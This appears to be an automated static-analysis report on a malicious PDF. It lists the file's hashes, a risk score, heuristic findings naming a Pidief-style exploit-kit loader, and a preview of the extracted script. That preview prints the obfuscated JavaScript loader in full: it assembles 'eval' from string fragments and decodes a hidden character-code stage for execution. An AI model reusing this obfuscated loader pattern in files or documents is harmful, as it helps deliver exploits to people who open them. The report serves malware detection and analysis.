Malicious PDF — malware analysis report

Static analysis result for SHA-256 d266f6bc430444e5…

MALICIOUS

PDF

1.95 MB Authoring application: substr First seen: 2026-05-07
MD5: 151ff55a382582fa58fd1f615263c353 SHA-1: 545a5d931e7ebec6078d455b9f125c25daf7387b SHA-256: d266f6bc430444e589a684a3eaf020e71011a774a7e3e6039a58a3e3be9fa99a
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to execute malicious code, although the specific payload or technique cannot be determined without further analysis of the script content. The document body text 'substr split test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB002 443 bytes
SHA-256: 90442feb5004ee4d339400f1ded6b4aec6d07bbe46edfd170871978661018f48
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
ngxkz=e('ti'.concat(v[4],t));
q=ngxkz[v](a.length-6,a.length+2);
cdn=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=ngxkz[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	czh = 1*(q[i]);
	i++;
	czh -= (-1)*(q[i]);
	s2 = s2.concat(cdn(czh));
	i++;
}
e(s2);

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